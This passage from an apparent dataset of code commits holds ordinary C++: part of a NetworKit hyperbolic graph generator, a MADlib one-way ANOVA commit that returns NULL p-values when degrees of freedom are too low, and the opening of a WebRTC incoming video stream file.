currcdf+offset);\n\t\t\t\tif (random > maxcdf) {\n\t\t\t\t\trandom -= 2*(random - maxcdf);\n\t\t\t\t}\n\t\t\t\tif (random < mincdf) {\n\t\t\t\t\trandom += 2*(mincdf - random);\n\t\t\t\t}\n\t\t\t\tdouble newradius = acosh(random)\/alpha;\n\t\t\t\t\/\/assert(abs(newradius - hyperbolicRadius) < moveEachStep);\n\t\t\t\tif (newradius >= R) newradius = std::nextafter(R, std::numeric_limits<double>::lowest());\n\t\t\t\tassert(newradius < R);\n\t\t\t\tassert(newradius >= 0);\n\n\t\t\t\tdouble angleMovement = Aux::Random::real(-moveDistance\/hyperbolicRadius, moveDistance\/hyperbolicRadius);\n\t\t\t\tdouble newphi = angles[toWiggle[j]] + angleMovement;\n\t\t\t\tif (newphi < 0) newphi += (floor(-newphi\/(2*M_PI))+1)*2*M_PI;\n\t\t\t\tif (newphi > 2*M_PI) newphi -= floor(newphi\/(2*M_PI))*2*M_PI;\n\n\t\t\t\t\/\/bounce off the boundary\n\t\t\t\tnewradius = HyperbolicSpace::hyperbolicRadiusToEuclidean(newradius);\n\t\t\t\tif (newradius >= r) newradius = std::nextafter(newradius, std::numeric_limits<double>::lowest());\n\n\t\t\t\t\/\/updating Quadtree\n\t\t\t\tbool removed = quad.removeContent(toWiggle[j], angles[toWiggle[j]], radii[toWiggle[j]]);\n\t\t\t\tassert(removed);\n\t\t\t\tangles[toWiggle[j]] = newphi;\n\t\t\t\tradii[toWiggle[j]] = newradius;\n\t\t\t\tquad.addContent(toWiggle[j], newphi, newradius);\n\n\t\t\t}\n\n\t\t\t\/\/now get the new edges and see what changed\n\t\t\t#pragma omp parallel for\n\t\t\tfor (index j = 0; j < toWiggle.size(); j++) {\n\t\t\t\tvector<index> newNeighbours = quad.getCloseElements(HyperbolicSpace::polarToCartesian(angles[toWiggle[j]], radii[toWiggle[j]]), R*currentfactor);\n\t\t\t\tstd::sort(oldNeighbours[j].begin(), oldNeighbours[j].end());\n\t\t\t\tstd::sort(newNeighbours.begin(), newNeighbours.end());\n\t\t\t\tvector<index> newEdges(newNeighbours.size());\n\t\t\t\tauto it = std::set_difference(newNeighbours.begin(), newNeighbours.end(), oldNeighbours[j].begin(), oldNeighbours[j].end(), newEdges.begin());\n\t\t\t\tnewEdges.erase(it, newEdges.end());\/\/trim empty space\n\n\t\t\t\tvector<index> brokenEdges(oldNeighbours[j].size() - (newNeighbours.size() - newEdges.size()));\/\/this should be the number of broken edges\n\t\t\t\tit = std::set_difference(oldNeighbours[j].begin(), oldNeighbours[j].end(), newNeighbours.begin(), newNeighbours.end(), brokenEdges.begin());\n\t\t\t\tassert(it == brokenEdges.end());\n\n\t\t\t\t#pragma omp critical\n\t\t\t\t{\n\t\t\t\t\tfor (index edge : newEdges) {\n\t\t\t\t\t\tresult.emplace_back(GraphEvent::EDGE_ADDITION, toWiggle[j], edge);\n\t\t\t\t\t}\n\t\t\t\t\tfor (index edge : brokenEdges) {\n\t\t\t\t\t\tresult.emplace_back(GraphEvent::EDGE_REMOVAL, toWiggle[j], edge);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/**\n\t\t\t * since we didn't know whether the other endpoint of an edge was wiggled or not, we may\n\t\t\t * have added some of them twice.\n\t\t\t * Remove the doubles:\n\t\t\t *\/\n\t\t\tfor (auto it = result.begin()+oldStreamMarker; it < result.end(); it++) {\n\t\t\t\tif (it->u > it->v) std::swap(it->u, it->v);\n\t\t\t}\n\t\t\tstd::sort(result.begin()+oldStreamMarker, result.end(), GraphEvent::compare);\n\t\t\tauto end = std::unique(result.begin()+oldStreamMarker, result.end(), GraphEvent::equal);\n\t\t\tresult.erase(end, result.end());\n\t\t}\n\t\tresult.push_back(GraphEvent(GraphEvent::TIME_STEP));\n\t}\n\treturn result;\n}\n} \/* namespace NetworKit *\/\n<|endoftext|>"}
{"text":"<commit_before>\/* ----------------------------------------------------------------------- *\/\/**\n *\n * @file one_way_anova.cpp\n *\n * @brief One-way ANOVA functions\n *\n *\/\/* ----------------------------------------------------------------------- *\/\n\n#include <dbconnector\/dbconnector.hpp>\n#include <modules\/prob\/boost.hpp>\n#include <modules\/shared\/HandleTraits.hpp>\n#include <utils\/Math.hpp>\n\n#include \"one_way_anova.hpp\"\n\nnamespace madlib {\n\nnamespace modules {\n\nnamespace stats {\n\n\/**\n * @brief Transition state for one-way ANOVA functions\n *\n * Note: We assume that the DOUBLE PRECISION array is initialized by the\n * database with length 2, and all elemenets are 0. Handle::operator[] will\n * perform bounds checking.\n *\/\ntemplate <class Handle>\nclass OWATransitionState {\npublic:\n    OWATransitionState(const AnyType &inArray)\n      : mStorage(inArray.getAs<Handle>()) {\n\n        rebind(utils::nextPowerOfTwo(static_cast<uint32_t>(mStorage[0])));\n    }\n\n    \/**\n     * @brief Convert to backend representation\n     *\n     * We define this function so that we can use TransitionState in the argument\n     * list and as a return type.\n     *\/\n    inline operator AnyType() const {\n        return mStorage;\n    }\n\n    \/**\n     * @brief Return the index (in the num, sum, and corrected_square_sum\n     *     fields) of a group value\n     *\n     * If a value is not found, we add a new group to the transition state.\n     * Since we do not want to reallocate too often, we reserve some buffer\n     * space in the storage array. So we need to reallocate and copy memory only\n     * whenever the number of groups hits a power of 2.\n     *\/\n    uint32_t idxOfGroup(const Allocator& inAllocator, uint32_t inValue);\n\nprivate:\n    static inline size_t arraySize(uint32_t inNumGroupsReserved) {\n        return 1 + 5 * inNumGroupsReserved;\n    }\n\n    void rebind(uint32_t inNumGroupsReserved) {\n        madlib_assert(mStorage.size() >= arraySize(inNumGroupsReserved),\n            std::runtime_error(\"Out-of-bounds array access detected.\"));\n\n        numGroups.rebind(&mStorage[0]);\n        groupValues = &mStorage[1];\n        posToIndices = &mStorage[1 + inNumGroupsReserved];\n        num.rebind(&mStorage[1 + 2 * inNumGroupsReserved], inNumGroupsReserved);\n        sum.rebind(&mStorage[1 + 3 * inNumGroupsReserved], inNumGroupsReserved);\n        corrected_square_sum.rebind(\n            &mStorage[1 + 4 * inNumGroupsReserved], inNumGroupsReserved);\n    }\n\n    Handle mStorage;\n\npublic:\n    typename HandleTraits<Handle>::ReferenceToUInt32 numGroups;\n    typename HandleTraits<Handle>::DoublePtr groupValues;\n    typename HandleTraits<Handle>::DoublePtr posToIndices;\n    typename HandleTraits<Handle>::ColumnVectorTransparentHandleMap num;\n    typename HandleTraits<Handle>::ColumnVectorTransparentHandleMap sum;\n    typename HandleTraits<Handle>::ColumnVectorTransparentHandleMap corrected_square_sum;\n};\n\ntemplate <>\nuint32_t\nOWATransitionState<ArrayHandle<double> >::idxOfGroup(\n    const Allocator&, uint32_t inValue) {\n\n    std::ptrdiff_t pos = std::lower_bound(\n        groupValues, groupValues + numGroups, inValue) - groupValues;\n\n    if (static_cast<uint64_t>(pos) >= numGroups\n        || groupValues[pos] != inValue) {\n        \/\/ Did not find this group value. We have to start a new group.\n\n        throw std::runtime_error(\"Could not find a grouping value during \"\n            \"one-way ANOVA.\");\n    }\n    return static_cast<uint32_t>(pos);\n}\n\ntemplate <>\nuint32_t\nOWATransitionState<MutableArrayHandle<double> >::idxOfGroup(\n    const Allocator& inAllocator, uint32_t inValue) {\n\n    \/\/ FIXME: Think of using proper iterators. Add some safety. Overflow checks.\n    \/\/ http:\/\/jira.madlib.net\/browse\/MADLIB-499\n    std::ptrdiff_t pos = std::lower_bound(\n        groupValues, groupValues + numGroups, inValue) - groupValues;\n\n    if (static_cast<uint64_t>(pos) >= numGroups\n        || groupValues[pos] != inValue) {\n        \/\/ Did not find this group value. We have to start a new group.\n\n        uint32_t numGroupsReserved = utils::nextPowerOfTwo(\n            static_cast<uint32_t>(numGroups));\n        if (numGroupsReserved > numGroups) {\n            \/\/ We have enough reserve space allocated.\n            std::copy(groupValues + pos, groupValues + numGroups,\n                groupValues + pos + 1);\n            groupValues[pos] = inValue;\n\n            std::copy(posToIndices + pos, posToIndices + numGroups,\n                posToIndices + pos + 1);\n            posToIndices[pos] = numGroups++;\n        } else {\n            \/\/ We need to reallocate storage for the transition state\n            \/\/ Save our current state, so we can subsequently restore it\n            \/\/ with the new storage\n            OWATransitionState oldSelf = *this;\n            if (numGroupsReserved == 0)\n                numGroupsReserved = 1;\n            else {\n                if (static_cast<uint64_t>(2) * numGroupsReserved >\n                    std::numeric_limits<uint32_t>::max())\n                    throw std::runtime_error(\"Too many groups.\");\n\n                numGroupsReserved = 2U * numGroupsReserved;\n            }\n            mStorage = inAllocator.allocateArray<double, dbal::AggregateContext,\n                dbal::DoZero, dbal::ThrowBadAlloc>(arraySize(numGroupsReserved));\n            rebind(numGroupsReserved);\n\n            numGroups = oldSelf.numGroups + 1;\n            std::copy(oldSelf.groupValues, oldSelf.groupValues + pos, groupValues);\n            std::copy(oldSelf.groupValues + pos,\n                oldSelf.groupValues + oldSelf.numGroups, groupValues + pos + 1);\n            groupValues[pos] = inValue;\n\n            std::copy(oldSelf.posToIndices, oldSelf.posToIndices + pos, posToIndices);\n            std::copy(oldSelf.posToIndices + pos,\n                oldSelf.posToIndices + oldSelf.numGroups, posToIndices + pos + 1);\n            posToIndices[pos] = oldSelf.numGroups;\n\n            num.segment(0, oldSelf.numGroups) << oldSelf.num;\n            sum.segment(0, oldSelf.numGroups) << oldSelf.sum;\n            corrected_square_sum.segment(0, oldSelf.numGroups) << oldSelf.corrected_square_sum;\n        }\n    }\n    return static_cast<uint32_t>(posToIndices[pos]);\n}\n\n\/\/ FIXME: Same function used for t_test. Factor out.\n\/\/ http:\/\/jira.madlib.net\/browse\/MADLIB-500\n\/**\n * @brief Update the corrected sum of squares\n *\n * For numerical stability, we should not compute the sample variance in the\n * naive way. The literature has many examples where this gives bad results\n * even with moderately sized inputs.\n *\n * See:\n *\n * B. P. Welford (1962). \"Note on a method for calculating corrected sums of\n * squares and products\". Technometrics 4(3):419–420.\n *\n * Chan, Tony F.; Golub, Gene H.; LeVeque, Randall J. (1979), \"Updating\n * Formulae and a Pairwise Algorithm for Computing Sample Variances.\", Technical\n * Report STAN-CS-79-773, Department of Computer Science, Stanford University.\n * ftp:\/\/reports.stanford.edu\/pub\/cstr\/reports\/cs\/tr\/79\/773\/CS-TR-79-773.pdf\n *\/\ninline\nvoid\nupdateCorrectedSumOfSquares(double &ioLeftWeight, double &ioLeftSum,\n    double &ioLeftCorrectedSumSquares, double inRightWeight, double inRightSum,\n    double inRightCorrectedSumSquares) {\n\n    if (inRightWeight <= 0)\n        return;\n\n    \/\/ FIXME: Use compensated sums for numerical stability\n    \/\/ http:\/\/jira.madlib.net\/browse\/MADLIB-500\n    \/\/ See Ogita et al., \"Accurate Sum and Dot Product\", SIAM Journal on\n    \/\/ Scientific Computing (SISC), 26(6):1955-1988, 2005.\n    if (ioLeftWeight <= 0)\n        ioLeftCorrectedSumSquares = inRightCorrectedSumSquares;\n    else {\n        double diff = inRightWeight \/ ioLeftWeight * ioLeftSum - inRightSum;\n        ioLeftCorrectedSumSquares\n               += inRightCorrectedSumSquares\n                + ioLeftWeight \/ (inRightWeight * (ioLeftWeight + inRightWeight))\n                    * diff * diff;\n    }\n\n    ioLeftSum += inRightSum;\n    ioLeftWeight += inRightWeight;\n}\n\n\/**\n * @brief Perform the transition step\n *\/\nAnyType\none_way_anova_transition::run(AnyType &args) {\n    OWATransitionState<MutableArrayHandle<double> > state = args[0];\n    int32_t group = args[1].getAs<int32_t>();\n    double value = args[2].getAs<double>();\n\n    uint32_t idx = state.idxOfGroup(*this, group);\n    updateCorrectedSumOfSquares(\n        state.num(idx), state.sum(idx), state.corrected_square_sum(idx),\n        1, value, 0);\n\n    return state;\n}\n\n\/**\n * @brief Perform the perliminary aggregation function: Merge transition states\n *\/\nAnyType\none_way_anova_merge_states::run(AnyType &args) {\n    OWATransitionState<MutableArrayHandle<double> > stateLeft = args[0];\n    OWATransitionState<ArrayHandle<double> > stateRight = args[1];\n\n    \/\/ Merge states together and return\n    for (uint64_t posRight = 0; posRight < stateRight.numGroups; posRight++) {\n        uint32_t value\n            = static_cast<uint32_t>(stateRight.groupValues[posRight]);\n        uint32_t idxRight = stateRight.idxOfGroup(*this, value);\n        uint32_t idxLeft = stateLeft.idxOfGroup(*this, value);\n        updateCorrectedSumOfSquares(\n            stateLeft.num(idxLeft), stateLeft.sum(idxLeft),\n                stateLeft.corrected_square_sum(idxLeft),\n            stateRight.num(idxRight), stateRight.sum(idxRight),\n                stateRight.corrected_square_sum(idxRight));\n    }\n\n    return stateLeft;\n}\n\n\/**\n * @brief Perform the one-sided t-Test final step\n *\/\nAnyType\none_way_anova_final::run(AnyType &args) {\n    using boost::math::complement;\n\n    OWATransitionState<ArrayHandle<double> > state = args[0];\n\n    \/\/ If we haven't seen any data, just return Null. This is the standard\n    \/\/ behavior of aggregate function on empty data sets (compare, e.g.,\n    \/\/ how PostgreSQL handles sum or avg on empty inputs)\n    if (state.numGroups == 0)\n        return Null();\n\n    double grand_mean = state.sum.sum() \/ state.num.sum();\n    double sum_squares_between = 0;\n\n    for (uint64_t idx = 0; idx < state.numGroups; idx++)\n        sum_squares_between += state.num(idx)\n                             * std::pow(state.sum(idx) \/ state.num(idx)\n                                        - grand_mean, 2);\n\n    double sum_squares_within = state.corrected_square_sum.sum();\n    double df_between = state.numGroups - 1;\n    double df_within = state.num.sum() - state.numGroups;\n    double mean_square_between = sum_squares_between \/ df_between;\n    double mean_square_within = sum_squares_within \/ df_within;\n    double statistic = mean_square_between \/ mean_square_within;\n\n    AnyType tuple;\n    tuple\n        << sum_squares_between\n        << sum_squares_within\n        << static_cast<int64_t>(df_between)\n        << static_cast<int64_t>(df_within)\n        << mean_square_between\n        << mean_square_within\n        << statistic\n        << prob::cdf(\n            complement(prob::fisher_f(df_between, df_within), statistic));\n    return tuple;\n}\n\n} \/\/ namespace stats\n\n} \/\/ namespace modules\n\n} \/\/ namespace madlib\n<commit_msg>One-way ANOVA: return NULL for p-values if d.f. <= 0 instead of raising error<commit_after>\/* ----------------------------------------------------------------------- *\/\/**\n *\n * @file one_way_anova.cpp\n *\n * @brief One-way ANOVA functions\n *\n *\/\/* ----------------------------------------------------------------------- *\/\n\n#include <dbconnector\/dbconnector.hpp>\n#include <modules\/prob\/boost.hpp>\n#include <modules\/shared\/HandleTraits.hpp>\n#include <utils\/Math.hpp>\n\n#include \"one_way_anova.hpp\"\n\nnamespace madlib {\n\nnamespace modules {\n\nnamespace stats {\n\n\/**\n * @brief Transition state for one-way ANOVA functions\n *\n * Note: We assume that the DOUBLE PRECISION array is initialized by the\n * database with length 2, and all elemenets are 0. Handle::operator[] will\n * perform bounds checking.\n *\/\ntemplate <class Handle>\nclass OWATransitionState {\npublic:\n    OWATransitionState(const AnyType &inArray)\n      : mStorage(inArray.getAs<Handle>()) {\n\n        rebind(utils::nextPowerOfTwo(static_cast<uint32_t>(mStorage[0])));\n    }\n\n    \/**\n     * @brief Convert to backend representation\n     *\n     * We define this function so that we can use TransitionState in the argument\n     * list and as a return type.\n     *\/\n    inline operator AnyType() const {\n        return mStorage;\n    }\n\n    \/**\n     * @brief Return the index (in the num, sum, and corrected_square_sum\n     *     fields) of a group value\n     *\n     * If a value is not found, we add a new group to the transition state.\n     * Since we do not want to reallocate too often, we reserve some buffer\n     * space in the storage array. So we need to reallocate and copy memory only\n     * whenever the number of groups hits a power of 2.\n     *\/\n    uint32_t idxOfGroup(const Allocator& inAllocator, uint32_t inValue);\n\nprivate:\n    static inline size_t arraySize(uint32_t inNumGroupsReserved) {\n        return 1 + 5 * inNumGroupsReserved;\n    }\n\n    void rebind(uint32_t inNumGroupsReserved) {\n        madlib_assert(mStorage.size() >= arraySize(inNumGroupsReserved),\n            std::runtime_error(\"Out-of-bounds array access detected.\"));\n\n        numGroups.rebind(&mStorage[0]);\n        groupValues = &mStorage[1];\n        posToIndices = &mStorage[1 + inNumGroupsReserved];\n        num.rebind(&mStorage[1 + 2 * inNumGroupsReserved], inNumGroupsReserved);\n        sum.rebind(&mStorage[1 + 3 * inNumGroupsReserved], inNumGroupsReserved);\n        corrected_square_sum.rebind(\n            &mStorage[1 + 4 * inNumGroupsReserved], inNumGroupsReserved);\n    }\n\n    Handle mStorage;\n\npublic:\n    typename HandleTraits<Handle>::ReferenceToUInt32 numGroups;\n    typename HandleTraits<Handle>::DoublePtr groupValues;\n    typename HandleTraits<Handle>::DoublePtr posToIndices;\n    typename HandleTraits<Handle>::ColumnVectorTransparentHandleMap num;\n    typename HandleTraits<Handle>::ColumnVectorTransparentHandleMap sum;\n    typename HandleTraits<Handle>::ColumnVectorTransparentHandleMap corrected_square_sum;\n};\n\ntemplate <>\nuint32_t\nOWATransitionState<ArrayHandle<double> >::idxOfGroup(\n    const Allocator&, uint32_t inValue) {\n\n    std::ptrdiff_t pos = std::lower_bound(\n        groupValues, groupValues + numGroups, inValue) - groupValues;\n\n    if (static_cast<uint64_t>(pos) >= numGroups\n        || groupValues[pos] != inValue) {\n        \/\/ Did not find this group value. We have to start a new group.\n\n        throw std::runtime_error(\"Could not find a grouping value during \"\n            \"one-way ANOVA.\");\n    }\n    return static_cast<uint32_t>(pos);\n}\n\ntemplate <>\nuint32_t\nOWATransitionState<MutableArrayHandle<double> >::idxOfGroup(\n    const Allocator& inAllocator, uint32_t inValue) {\n\n    \/\/ FIXME: Think of using proper iterators. Add some safety. Overflow checks.\n    \/\/ http:\/\/jira.madlib.net\/browse\/MADLIB-499\n    std::ptrdiff_t pos = std::lower_bound(\n        groupValues, groupValues + numGroups, inValue) - groupValues;\n\n    if (static_cast<uint64_t>(pos) >= numGroups\n        || groupValues[pos] != inValue) {\n        \/\/ Did not find this group value. We have to start a new group.\n\n        uint32_t numGroupsReserved = utils::nextPowerOfTwo(\n            static_cast<uint32_t>(numGroups));\n        if (numGroupsReserved > numGroups) {\n            \/\/ We have enough reserve space allocated.\n            std::copy(groupValues + pos, groupValues + numGroups,\n                groupValues + pos + 1);\n            groupValues[pos] = inValue;\n\n            std::copy(posToIndices + pos, posToIndices + numGroups,\n                posToIndices + pos + 1);\n            posToIndices[pos] = numGroups++;\n        } else {\n            \/\/ We need to reallocate storage for the transition state\n            \/\/ Save our current state, so we can subsequently restore it\n            \/\/ with the new storage\n            OWATransitionState oldSelf = *this;\n            if (numGroupsReserved == 0)\n                numGroupsReserved = 1;\n            else {\n                if (static_cast<uint64_t>(2) * numGroupsReserved >\n                    std::numeric_limits<uint32_t>::max())\n                    throw std::runtime_error(\"Too many groups.\");\n\n                numGroupsReserved = 2U * numGroupsReserved;\n            }\n            mStorage = inAllocator.allocateArray<double, dbal::AggregateContext,\n                dbal::DoZero, dbal::ThrowBadAlloc>(arraySize(numGroupsReserved));\n            rebind(numGroupsReserved);\n\n            numGroups = oldSelf.numGroups + 1;\n            std::copy(oldSelf.groupValues, oldSelf.groupValues + pos, groupValues);\n            std::copy(oldSelf.groupValues + pos,\n                oldSelf.groupValues + oldSelf.numGroups, groupValues + pos + 1);\n            groupValues[pos] = inValue;\n\n            std::copy(oldSelf.posToIndices, oldSelf.posToIndices + pos, posToIndices);\n            std::copy(oldSelf.posToIndices + pos,\n                oldSelf.posToIndices + oldSelf.numGroups, posToIndices + pos + 1);\n            posToIndices[pos] = oldSelf.numGroups;\n\n            num.segment(0, oldSelf.numGroups) << oldSelf.num;\n            sum.segment(0, oldSelf.numGroups) << oldSelf.sum;\n            corrected_square_sum.segment(0, oldSelf.numGroups) << oldSelf.corrected_square_sum;\n        }\n    }\n    return static_cast<uint32_t>(posToIndices[pos]);\n}\n\n\/\/ FIXME: Same function used for t_test. Factor out.\n\/\/ http:\/\/jira.madlib.net\/browse\/MADLIB-500\n\/**\n * @brief Update the corrected sum of squares\n *\n * For numerical stability, we should not compute the sample variance in the\n * naive way. The literature has many examples where this gives bad results\n * even with moderately sized inputs.\n *\n * See:\n *\n * B. P. Welford (1962). \"Note on a method for calculating corrected sums of\n * squares and products\". Technometrics 4(3):419–420.\n *\n * Chan, Tony F.; Golub, Gene H.; LeVeque, Randall J. (1979), \"Updating\n * Formulae and a Pairwise Algorithm for Computing Sample Variances.\", Technical\n * Report STAN-CS-79-773, Department of Computer Science, Stanford University.\n * ftp:\/\/reports.stanford.edu\/pub\/cstr\/reports\/cs\/tr\/79\/773\/CS-TR-79-773.pdf\n *\/\ninline\nvoid\nupdateCorrectedSumOfSquares(double &ioLeftWeight, double &ioLeftSum,\n    double &ioLeftCorrectedSumSquares, double inRightWeight, double inRightSum,\n    double inRightCorrectedSumSquares) {\n\n    if (inRightWeight <= 0)\n        return;\n\n    \/\/ FIXME: Use compensated sums for numerical stability\n    \/\/ http:\/\/jira.madlib.net\/browse\/MADLIB-500\n    \/\/ See Ogita et al., \"Accurate Sum and Dot Product\", SIAM Journal on\n    \/\/ Scientific Computing (SISC), 26(6):1955-1988, 2005.\n    if (ioLeftWeight <= 0)\n        ioLeftCorrectedSumSquares = inRightCorrectedSumSquares;\n    else {\n        double diff = inRightWeight \/ ioLeftWeight * ioLeftSum - inRightSum;\n        ioLeftCorrectedSumSquares\n               += inRightCorrectedSumSquares\n                + ioLeftWeight \/ (inRightWeight * (ioLeftWeight + inRightWeight))\n                    * diff * diff;\n    }\n\n    ioLeftSum += inRightSum;\n    ioLeftWeight += inRightWeight;\n}\n\n\/**\n * @brief Perform the transition step\n *\/\nAnyType\none_way_anova_transition::run(AnyType &args) {\n    OWATransitionState<MutableArrayHandle<double> > state = args[0];\n    int32_t group = args[1].getAs<int32_t>();\n    double value = args[2].getAs<double>();\n\n    uint32_t idx = state.idxOfGroup(*this, group);\n    updateCorrectedSumOfSquares(\n        state.num(idx), state.sum(idx), state.corrected_square_sum(idx),\n        1, value, 0);\n\n    return state;\n}\n\n\/**\n * @brief Perform the perliminary aggregation function: Merge transition states\n *\/\nAnyType\none_way_anova_merge_states::run(AnyType &args) {\n    OWATransitionState<MutableArrayHandle<double> > stateLeft = args[0];\n    OWATransitionState<ArrayHandle<double> > stateRight = args[1];\n\n    \/\/ Merge states together and return\n    for (uint64_t posRight = 0; posRight < stateRight.numGroups; posRight++) {\n        uint32_t value\n            = static_cast<uint32_t>(stateRight.groupValues[posRight]);\n        uint32_t idxRight = stateRight.idxOfGroup(*this, value);\n        uint32_t idxLeft = stateLeft.idxOfGroup(*this, value);\n        updateCorrectedSumOfSquares(\n            stateLeft.num(idxLeft), stateLeft.sum(idxLeft),\n                stateLeft.corrected_square_sum(idxLeft),\n            stateRight.num(idxRight), stateRight.sum(idxRight),\n                stateRight.corrected_square_sum(idxRight));\n    }\n\n    return stateLeft;\n}\n\n\/**\n * @brief Perform the one-sided t-Test final step\n *\/\nAnyType\none_way_anova_final::run(AnyType &args) {\n    using boost::math::complement;\n\n    OWATransitionState<ArrayHandle<double> > state = args[0];\n\n    \/\/ If we haven't seen any data, just return Null. This is the standard\n    \/\/ behavior of aggregate function on empty data sets (compare, e.g.,\n    \/\/ how PostgreSQL handles sum or avg on empty inputs)\n    if (state.numGroups == 0)\n        return Null();\n\n    double grand_mean = state.sum.sum() \/ state.num.sum();\n    double sum_squares_between = 0;\n\n    for (uint64_t idx = 0; idx < state.numGroups; idx++)\n        sum_squares_between += state.num(idx)\n                             * std::pow(state.sum(idx) \/ state.num(idx)\n                                        - grand_mean, 2);\n\n    double sum_squares_within = state.corrected_square_sum.sum();\n    double df_between = state.numGroups - 1;\n    double df_within = state.num.sum() - state.numGroups;\n    double mean_square_between = sum_squares_between \/ df_between;\n    double mean_square_within = sum_squares_within \/ df_within;\n    double statistic = mean_square_between \/ mean_square_within;\n\n    AnyType tuple;\n    tuple\n        << sum_squares_between\n        << sum_squares_within\n        << static_cast<int64_t>(df_between)\n        << static_cast<int64_t>(df_within)\n        << mean_square_between\n        << mean_square_within\n        << statistic\n        << ((df_between >= 1 && df_within >= 1)\n            ? prob::cdf(\n                complement(prob::fisher_f(df_between, df_within), statistic))\n            : Null());\n    return tuple;\n}\n\n} \/\/ namespace stats\n\n} \/\/ namespace modules\n\n} \/\/ namespace madlib\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/modules\/video_render\/\/incoming_video_stream.h\"\n\n#include <assert.h>\n\n#if defined(_WIN32)\n#include <windows.h>\n#elif defined(WEBRTC_LINUX)\n#include <sys\/time.h>\n#include <time.h>\n#else\n#include <sys\/time.h>\n#endif\n\n#include \"webrtc\/common_video\/libyuv\/include\/webrtc_libyuv.h\"\n#include \"webrtc\/modules\/video_render\/\/video_render_frames.h\"\n#include \"webrtc\/system_wrappers\/interface\/critical_section_wrapper.h\"\n#include \"webrtc\/system_wrappers\/interface\/event_wrapper.h\"\n#include \"webrtc\/system_wrappers\/interface\/thread_wrapper.h\"\n#include \"webrtc\/system_wrappers\/interface\/tick_util.h\"\n#include \"webrtc\/system_wrappers\/interface\/trace.h\"\n\nnamespace webrtc {\n\nIncomingVideoStream::IncomingVideoStream(const int32_t module_id,\n                                         const uint32_t stream_id)\n    : module_id_(module_id),\n      stream_id_(stream_id),\n      stream_critsect_(*CriticalSectionWrapper::CreateCriticalSection()),\n      thread_critsect_(*CriticalSectionWrapper::CreateCriticalSection()),\n      buffer_critsect_(*CriticalSectionWrapper::CreateCriticalSection()),\n      incoming_render_thread_(),\n      deliver_buffer_event_(*EventWrapper::Create()),\n      running_(false),\n      external_callback_(NULL),\n      render_callback_(NULL),\n      render_buffers_(*(new VideoRenderFrames)),\n      callbackVideoType_(kVideoI420),\n      callbackWidth_(0),\n      callbackHeight_(0),\n      incoming_rate_(0),\n      last_rate_calculation_time_ms_(0),\n      num_frames_since_last_calculation_(0),\n      last_rendered_frame_(),\n      temp_frame_(),\n      start_image_(),\n      timeout_image_(),\n      timeout_time_(),\n      mirror_frames_enabled_(false),\n      mirroring_(),\n      transformed_video_frame_() {\n  WEBRTC_TRACE(kTraceMemory, kTraceVideoRenderer, module_id_,\n               \"%s created for stream %d\", __FUNCTION__, stream_id);\n}\n\nIncomingVideoStream::~IncomingVideoStream() {\n  WEBRTC_TRACE(kTraceMemory, kTraceVideoRenderer, module_id_,\n               \"%s deleted for stream %d\", __FUNCTION__, stream_id_);\n\n  Stop();\n\n  \/\/ incoming_render_thread_ - Delete in stop\n  delete &render_buffers_;\n  delete &stream_critsect_;\n  delete &buffer_critsect_;\n  delete &thread_critsect_;\n  delete &deliver_buffer_event_;\n}\n\nint32_t IncomingVideoStream::ChangeModuleId(const int32_t id) {\n  CriticalSectionScoped cs(&stream_critsect_);\n  module_id_ = id;\n  return 0;\n}\n\nVideoRenderCallback* IncomingVideoStream::ModuleCallback() {\n  CriticalSectionScoped cs(&stream_critsect_);\n  return this;\n}\n\nint32_t IncomingVideoStream::RenderFrame(const uint32_t stream_id,\n                                         I420VideoFrame& video_frame) {\n  CriticalSectionScoped csS(&stream_critsect_);\n  WEBRTC_TRACE(kTraceStream, kTraceVideoRenderer, module_id_,\n               \"%s for stream %d, render time: %u\", __FUNCTION__, stream_id_,\n               video_frame.render_time_ms());\n\n  if (!running_) {\n    WEBRTC_TRACE(kTraceStream, kTraceVideoRenderer, module_id_,\n                 \"%s: Not running\", __FUNCTION__);\n    return -1;\n  }\n\n  \/\/ Mirroring is not supported if the frame is backed by a texture.\n  if (true == mirror_frames_enabled_ && video_frame.native_handle() == NULL) {\n    transformed_video_frame_.CreateEmptyFrame(video_frame.width(),\n                                              video_frame.height(),\n                                              video_frame.stride(kYPlane),\n                                              video_frame.stride(kUPlane),\n                                              video_frame.stride(kVPlane));\n    if (mirroring_.mirror_x_axis) {\n      MirrorI420UpDown(&video_frame,\n                       &transformed_video_frame_);\n      video_frame.SwapFrame(&transformed_video_frame_);\n    }\n    if (mirroring_.mirror_y_axis) {\n      MirrorI420LeftRight(&video_frame,\n                          &transformed_video_frame_);\n      video_frame.SwapFrame(&transformed_video_frame_);\n    }\n  }\n\n  \/\/ Rate statistics.\n  num_frames_since_last_calculation_++;\n  int64_t now_ms = TickTime::MillisecondTimestamp();\n  if (now_ms >= last_rate_calculation_time_ms_ + KFrameRatePeriodMs) {\n    incoming_rate_ =\n        static_cast<uint32_t>(1000 * num_frames_since_last_calculation_ \/\n                              (now_ms - last_rate_calculation_time_ms_));\n    num_frames_since_last_calculation_ = 0;\n    last_rate_calculation_time_ms_ = now_ms;\n  }\n\n  \/\/ Insert frame.\n  CriticalSectionScoped csB(&buffer_critsect_);\n  if (render_buffers_.AddFrame(&video_frame) == 1)\n    deliver_buffer_event_.Set();\n\n  return 0;\n}\n\nint32_t IncomingVideoStream::SetStartImage(\n    const I420VideoFrame& video_frame) {\n  CriticalSectionScoped csS(&thread_critsect_);\n  return start_image_.CopyFrame(video_frame);\n}\n\nint32_t IncomingVideoStream::SetTimeoutImage(\n    const I420VideoFrame& video_frame, const uint32_t timeout) {\n  CriticalSectionScoped csS(&thread_critsect_);\n  timeout_time_ = timeout;\n  return timeout_image_.CopyFrame(video_frame);\n}\n\nint32_t IncomingVideoStream::SetRenderCallback(\n    VideoRenderCallback* render_callback) {\n  CriticalSectionScoped cs(&stream_critsect_);\n\n  WEBRTC_TRACE(kTraceInfo, kTraceVideoRenderer, module_id_,\n               \"%s(%x) for stream %d\", __FUNCTION__, render_callback,\n               stream_id_);\n  render_callback_ = render_callback;\n  return 0;\n}\n\nint32_t IncomingVideoStream::EnableMirroring(const bool enable,\n                                             const bool mirror_x_axis,\n                                             const bool mirror_y_axis) {\n  CriticalSectionScoped 